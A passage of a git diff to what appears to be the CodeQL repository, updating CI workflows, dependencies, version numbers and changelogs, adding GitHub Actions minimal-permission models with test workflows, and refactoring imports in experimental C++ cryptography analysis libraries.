diff --git a/.github/workflows/build-ripunzip.yml b/.github/workflows/build-ripunzip.yml index bd05313187cc..3e32b868985d 100644 --- a/.github/workflows/build-ripunzip.yml +++ b/.github/workflows/build-ripunzip.yml @@ -6,18 +6,18 @@ on: ripunzip-version: description: "what reference to checktout from google/runzip" required: false - default: v1.2.1 + default: v2.0.2 openssl-version: description: "what reference to checkout from openssl/openssl for Linux" required: false - default: openssl-3.3.0 + default: openssl-3.5.0 jobs: build: strategy: fail-fast: false matrix: - os: [ubuntu-22.04, macos-13, windows-2019] + os: [ubuntu-22.04, macos-13, windows-2022] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/csharp-qltest.yml b/.github/workflows/csharp-qltest.yml index c24b8d3bc007..ef0b93c50c81 100644 --- a/.github/workflows/csharp-qltest.yml +++ b/.github/workflows/csharp-qltest.yml @@ -36,7 +36,7 @@ jobs: unit-tests: strategy: matrix: - os: [ubuntu-latest, windows-2019] + os: [ubuntu-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 @@ -66,6 +66,6 @@ jobs: # Update existing stubs in the repo with the freshly generated ones mv "$STUBS_PATH/output/stubs/_frameworks" ql/test/resources/stubs/ git status - codeql test run --threads=0 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-repeated-labels --check-redefined-labels --consistency-queries ql/consistency-queries -- ql/test/library-tests/dataflow/flowsources/aspremote + codeql test run --threads=0 --search-path "${{ github.workspace }}" --check-databases --check-diff-informed --check-undefined-labels --check-repeated-labels --check-redefined-labels --consistency-queries ql/consistency-queries -- ql/test/library-tests/dataflow/flowsources/aspremote env: GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/go-tests-other-os.yml b/.github/workflows/go-tests-other-os.yml index 99b45e31dcdb..c06135ab82b9 100644 --- a/.github/workflows/go-tests-other-os.yml +++ b/.github/workflows/go-tests-other-os.yml @@ -26,9 +26,8 @@ jobs: uses: ./go/actions/test test-win: - if: github.repository_owner == 'github' name: Test Windows - runs-on: windows-latest-xl + runs-on: windows-latest steps: - name: Check out code uses: actions/checkout@v4 diff --git a/.github/workflows/ruby-qltest-rtjo.yml b/.github/workflows/ruby-qltest-rtjo.yml index d7d1724cd4b6..c2ae9c0cef19 100644 --- a/.github/workflows/ruby-qltest-rtjo.yml +++ b/.github/workflows/ruby-qltest-rtjo.yml @@ -35,6 +35,6 @@ jobs: key: ruby-qltest - name: Run QL tests run: | - codeql test run --dynamic-join-order-mode=all --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" + codeql test run --dynamic-join-order-mode=all --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-diff-informed --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" env: GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/ruby-qltest.yml b/.github/workflows/ruby-qltest.yml index 224e1c129b4f..d1518205dab9 100644 --- a/.github/workflows/ruby-qltest.yml +++ b/.github/workflows/ruby-qltest.yml @@ -68,6 +68,6 @@ jobs: key: ruby-qltest - name: Run QL tests run: | - codeql test run --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" + codeql test run --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-diff-informed --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" env: GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/swift.yml b/.github/workflows/swift.yml index 4af46d302ac6..df610a967025 100644 --- a/.github/workflows/swift.yml +++ b/.github/workflows/swift.yml @@ -32,7 +32,7 @@ jobs: if: github.repository_owner == 'github' strategy: matrix: - runner: [ubuntu-latest, macos-13-xlarge] + runner: [ubuntu-latest, macos-15-xlarge] fail-fast: false runs-on: ${{ matrix.runner }} steps: diff --git a/.github/workflows/validate-change-notes.yml b/.github/workflows/validate-change-notes.yml index 3c83ffa709a5..42784b661fcc 100644 --- a/.github/workflows/validate-change-notes.yml +++ b/.github/workflows/validate-change-notes.yml @@ -31,4 +31,4 @@ jobs: - name: Fail if there are any errors with existing change notes run: | - codeql pack release --groups cpp,csharp,java,javascript,python,ruby,-examples,-test,-experimental + codeql pack release --groups actions,cpp,csharp,go,java,javascript,python,ruby,shared,swift -examples,-test,-experimental diff --git a/.gitignore b/.gitignore index f621d5ed0484..fe4a5de96721 100644 --- a/.gitignore +++ b/.gitignore @@ -62,6 +62,7 @@ node_modules/ # Temporary folders for working with generated models .model-temp +/mad-generation-build # bazel-built in-tree extractor packs /*/extractor-pack @@ -71,3 +72,7 @@ node_modules/ # cargo build directory /target + +# some upgrade/downgrade checks create these files +**/upgrades/*/*.dbscheme.stats +**/downgrades/*/*.dbscheme.stats diff --git a/CODEOWNERS b/CODEOWNERS index 96aa46df9495..7233623d4528 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -16,7 +16,7 @@ /java/ql/test-kotlin2/ @github/codeql-kotlin # Experimental CodeQL cryptography -**/experimental/quantum/ @github/ps-codeql +**/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql # CodeQL tools and associated docs diff --git a/Cargo.lock b/Cargo.lock index f425373ceea5..934cae590c1a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -242,6 +242,8 @@ version = "1.2.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a012a0df96dd6d06ba9a1b29d6402d1a5d77c6befd2566afdc26e10603dc93d7" dependencies = [ + "jobserver", + "libc", "shlex", ] @@ -390,6 +392,7 @@ dependencies = [ "tree-sitter", "tree-sitter-json", "tree-sitter-ql", + "zstd", ] [[package]] @@ -983,6 +986,15 @@ version = "1.0.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" +[[package]] +name = "jobserver" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0" +dependencies = [ + "libc", +] + [[package]] name = "jod-thread" version = "0.1.2" @@ -1334,6 +1346,12 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + [[package]] name = "portable-atomic" version = "1.11.0" @@ -3027,3 +3045,31 @@ dependencies = [ "quote", "syn", ] + +[[package]] +name = "zstd" +version = "0.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a" +dependencies = [ + "zstd-safe", +] + +[[package]] +name = "zstd-safe" +version = "7.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d" +dependencies = [ + "zstd-sys", +] + +[[package]] +name = "zstd-sys" +version = "2.0.15+zstd.1.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237" +dependencies = [ + "cc", + "pkg-config", +] diff --git a/Cargo.toml b/Cargo.toml index d74066772488..38487d3b858f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -10,6 +10,7 @@ members = [ "rust/ast-generator", "rust/autobuild", ] +exclude = ["mad-generation-build"] [patch.crates-io] # patch for build script bug preventing bazel build diff --git a/MODULE.bazel b/MODULE.bazel index 49ea49975bb9..6c27900a9fbb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -124,6 +124,7 @@ use_repo( "vendor_ts__tree-sitter-ruby-0.23.1", "vendor_ts__triomphe-0.1.14", "vendor_ts__ungrammar-1.16.1", + "vendor_ts__zstd-0.13.3", ) http_archive = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") @@ -238,24 +239,24 @@ go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") go_deps.from_file(go_mod = "//go/extractor:go.mod") use_repo(go_deps, "org_golang_x_mod", "org_golang_x_tools") -lfs_files = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_files") +lfs_archive = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_archive") -lfs_files( +lfs_archive( name = "ripunzip-linux", - srcs = ["//misc/ripunzip:ripunzip-linux"], - executable = True, + src = "//misc/ripunzip:ripunzip-Linux.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-windows", - srcs = ["//misc/ripunzip:ripunzip-windows.exe"], - executable = True, + src = "//misc/ripunzip:ripunzip-Windows.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-macos", - srcs = ["//misc/ripunzip:ripunzip-macos"], - executable = True, + src = "//misc/ripunzip:ripunzip-macOS.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) register_toolchains( diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 16262bfaa849..53bf91737130 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.4.11 + +No user-facing changes. + +## 0.4.10 + +No user-facing changes. + ## 0.4.9 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.10.md b/actions/ql/lib/change-notes/released/0.4.10.md new file mode 100644 index 000000000000..9ae55e0ca34d --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.10.md @@ -0,0 +1,3 @@ +## 0.4.10 + +No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.11.md b/actions/ql/lib/change-notes/released/0.4.11.md new file mode 100644 index 000000000000..d29b796a245f --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.11.md @@ -0,0 +1,3 @@ +## 0.4.11 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index c898a5bfdcdf..80a4283b3e47 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.9 +lastReleaseVersion: 0.4.11 diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index 8c1925f3288c..ae19a7a7e8ca 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -50,8 +50,8 @@ class Expression extends AstNode instanceof ExpressionImpl { string getNormalizedExpression() { result = normalizeExpr(expression) } } -/** A common class for `env` in workflow, job or step. */ -abstract class Env extends AstNode instanceof EnvImpl { +/** An `env` in workflow, job or step. */ +class Env extends AstNode instanceof EnvImpl { /** Gets an environment variable value given its name. */ ScalarValueImpl getEnvVarValue(string name) { result = super.getEnvVarValue(name) } diff --git a/actions/ql/lib/ext/config/actions_permissions.yml b/actions/ql/lib/ext/config/actions_permissions.yml index 6e0081973de6..b2862794383e 100644 --- a/actions/ql/lib/ext/config/actions_permissions.yml +++ b/actions/ql/lib/ext/config/actions_permissions.yml @@ -22,16 +22,21 @@ extensions: - ["actions/stale", "pull-requests: write"] - ["actions/attest-build-provenance", "id-token: write"] - ["actions/attest-build-provenance", "attestations: write"] + - ["actions/deploy-pages", "pages: write"] + - ["actions/deploy-pages", "id-token: write"] + - ["actions/delete-package-versions", "packages: write"] - ["actions/jekyll-build-pages", "contents: read"] - ["actions/jekyll-build-pages", "pages: write"] - ["actions/jekyll-build-pages", "id-token: write"] - ["actions/publish-action", "contents: write"] - - ["actions/versions-package-tools", "contents: read"] + - ["actions/versions-package-tools", "contents: read"] - ["actions/versions-package-tools", "actions: read"] - - ["actions/reusable-workflows", "contents: read"] + - ["actions/reusable-workflows", "contents: read"] - ["actions/reusable-workflows", "actions: read"] + - ["actions/ai-inference", "contents: read"] + - ["actions/ai-inference", "models: read"] # TODO: Add permissions for actions/download-artifact # TODO: Add permissions for actions/upload-artifact + # No permissions needed for actions/upload-pages-artifact # TODO: Add permissions for actions/cache - - + # No permissions needed for actions/configure-pages diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 78262551e5b1..5919efe3b678 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.9 +version: 0.4.11 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 5779691947e4..3140211bc4ad 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 0.6.3 + +No user-facing changes. + +## 0.6.2 + +### Minor Analysis Improvements + +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. + ## 0.6.1 No user-facing changes. diff --git a/actions/ql/src/change-notes/released/0.6.2.md b/actions/ql/src/change-notes/released/0.6.2.md new file mode 100644 index 000000000000..062fb0f6f91e --- /dev/null +++ b/actions/ql/src/change-notes/released/0.6.2.md @@ -0,0 +1,5 @@ +## 0.6.2 + +### Minor Analysis Improvements + +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. diff --git a/actions/ql/src/change-notes/released/0.6.3.md b/actions/ql/src/change-notes/released/0.6.3.md new file mode 100644 index 000000000000..83374bcef56f --- /dev/null +++ b/actions/ql/src/change-notes/released/0.6.3.md @@ -0,0 +1,3 @@ +## 0.6.3 + +No user-facing changes. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 80fb0899f645..b7dafe32c5d8 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.1 +lastReleaseVersion: 0.6.3 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index a8bdbd232a2a..9e45e764edef 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.1 +version: 0.6.3 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml new file mode 100644 index 000000000000..6530bd5f08e0 --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/ai-inference diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml new file mode 100644 index 000000000000..1a10bd6a7d6c --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/deploy-pages diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml new file mode 100644 index 000000000000..b6ae16bf9e26 --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/delete-package-versions diff --git a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected index 1a3c36c78ca1..52a045e0de21 100644 --- a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected +++ b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected @@ -3,3 +3,6 @@ | .github/workflows/perms5.yml:7:5:10:32 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read} | | .github/workflows/perms6.yml:7:5:11:39 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read, id-token: write, pages: write} | | .github/workflows/perms7.yml:7:5:10:38 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {} | +| .github/workflows/perms8.yml:7:5:10:33 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {id-token: write, pages: write} | +| .github/workflows/perms9.yml:7:5:10:44 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {packages: write} | +| .github/workflows/perms10.yml:7:5:10:33 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read, models: read} | diff --git a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql index 015d02d3ec78..8e111e9e7917 100644 --- a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql +++ b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql @@ -11,7 +11,7 @@ int getKind(int kind) { if kind = 14 then result = 6 // Represent MSFT #import as #include else - if kind = 15 or kind = 6 + if kind = 15 or kind = 16 then result = 3 // Represent #elifdef and #elifndef as #elif else result = kind } diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json new file mode 100644 index 000000000000..4cddef005b2f --- /dev/null +++ b/cpp/misc/bulk_generation_targets.json @@ -0,0 +1,9 @@ +{ + "strategy": "dca", + "language": "cpp", + "targets": [ + { "name": "openssl", "with-sources": false, "with-sinks": false }, + { "name": "sqlite", "with-sources": false, "with-sinks": false } + ], + "destination": "cpp/ql/lib/ext/generated" +} \ No newline at end of file diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 4ad53d108e26..c46ab0044646 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,33 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. + +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. + ## 4.3.1 ### Bug Fixes diff --git a/cpp/ql/lib/change-notes/released/5.0.0.md b/cpp/ql/lib/change-notes/released/5.0.0.md new file mode 100644 index 000000000000..212cb2bdd962 --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.0.0.md @@ -0,0 +1,23 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. diff --git a/cpp/ql/lib/change-notes/released/5.1.0.md b/cpp/ql/lib/change-notes/released/5.1.0.md new file mode 100644 index 000000000000..b7da377062fe --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.1.0.md @@ -0,0 +1,5 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index 70ac3707fcda..dd8d287d0103 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.1 +lastReleaseVersion: 5.1.0 diff --git a/cpp/ql/lib/experimental/quantum/Language.qll b/cpp/ql/lib/experimental/quantum/Language.qll index db9737cf152d..ebc246291a38 100644 --- a/cpp/ql/lib/experimental/quantum/Language.qll +++ b/cpp/ql/lib/experimental/quantum/Language.qll @@ -1,6 +1,7 @@ private import cpp as Language -import semmle.code.cpp.dataflow.new.DataFlow +import semmle.code.cpp.dataflow.new.TaintTracking import codeql.quantum.experimental.Model +private import OpenSSL.GenericSourceCandidateLiteral module CryptoInput implements InputSig { class DataFlowNode = DataFlow::Node; @@ -86,6 +87,21 @@ module GenericDataSourceFlowConfig implements DataFlow::ConfigSig { } } +module GenericDataSourceFlow = TaintTracking::Global; + +private class ConstantDataSource extends Crypto::GenericConstantSourceInstance instanceof Literal { + ConstantDataSource() { this instanceof OpenSSLGenericSourceCandidateLiteral } + + override DataFlow::Node getOutputNode() { result.asExpr() = this } + + override predicate flowsTo(Crypto::FlowAwareElement other) { + // TODO: separate config to avoid blowing up data-flow analysis + GenericDataSourceFlow::flow(this.getOutputNode(), other.getInputNode()) + } + + override string getAdditionalDescription() { result = this.toString() } +} + module ArtifactUniversalFlowConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source = any(Crypto::ArtifactInstance artifact).getOutputNode() diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll index 72c3ffcfad44..c2df3989f811 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll @@ -1,7 +1,9 @@ import cpp -import semmle.code.cpp.dataflow.new.DataFlow -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import PaddingAlgorithmInstance /** * Traces 'known algorithms' to AVCs, specifically @@ -18,6 +20,9 @@ module KnownOpenSSLAlgorithmToAlgorithmValueConsumerConfig implements DataFlow:: predicate isSink(DataFlow::Node sink) { exists(OpenSSLAlgorithmValueConsumer c | c.getInputNode() = sink and + // exclude padding algorithm consumers, since + // these consumers take in different constant values + // not in the typical "known algorithm" set not c instanceof PaddingAlgorithmValueConsumer ) } @@ -42,9 +47,7 @@ module KnownOpenSSLAlgorithmToAlgorithmValueConsumerFlow = DataFlow::Global; module RSAPaddingAlgorithmToPaddingAlgorithmValueConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - source.asExpr() instanceof KnownOpenSSLAlgorithmConstant - } + predicate isSource(DataFlow::Node source) { source.asExpr() instanceof OpenSSLPaddingLiteral } predicate isSink(DataFlow::Node sink) { exists(PaddingAlgorithmValueConsumer c | c.getInputNode() = sink) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll index 2566c1188a6c..995b72a437ed 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll @@ -1,13 +1,14 @@ import cpp -import experimental.quantum.Language -import OpenSSLAlgorithmInstanceBase -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer -import AlgToAVCFlow +private import experimental.quantum.Language +private import OpenSSLAlgorithmInstanceBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import AlgToAVCFlow /** * Given a `KnownOpenSSLBlockModeAlgorithmConstant`, converts this to a block family type. - * Does not bind if there is know mapping (no mapping to 'unknown' or 'other'). + * Does not bind if there is no mapping (no mapping to 'unknown' or 'other'). */ predicate knownOpenSSLConstantToBlockModeFamilyType( KnownOpenSSLBlockModeAlgorithmConstant e, Crypto::TBlockCipherModeOfOperationType type @@ -70,7 +71,11 @@ class KnownOpenSSLBlockModeConstantAlgorithmInstance extends OpenSSLAlgorithmIns // NOTE: I'm not going to attempt to parse out the mode specific part, so returning // the same as the raw name for now. - override string getRawModeAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawModeAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll index 7483572848eb..77251761040d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll @@ -1,16 +1,17 @@ import cpp -import experimental.quantum.Language -import KnownAlgorithmConstants -import Crypto::KeyOpAlg as KeyOpAlg -import OpenSSLAlgorithmInstanceBase -import PaddingAlgorithmInstance -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -import AlgToAVCFlow -import BlockAlgorithmInstance +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import Crypto::KeyOpAlg as KeyOpAlg +private import OpenSSLAlgorithmInstanceBase +private import PaddingAlgorithmInstance +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import 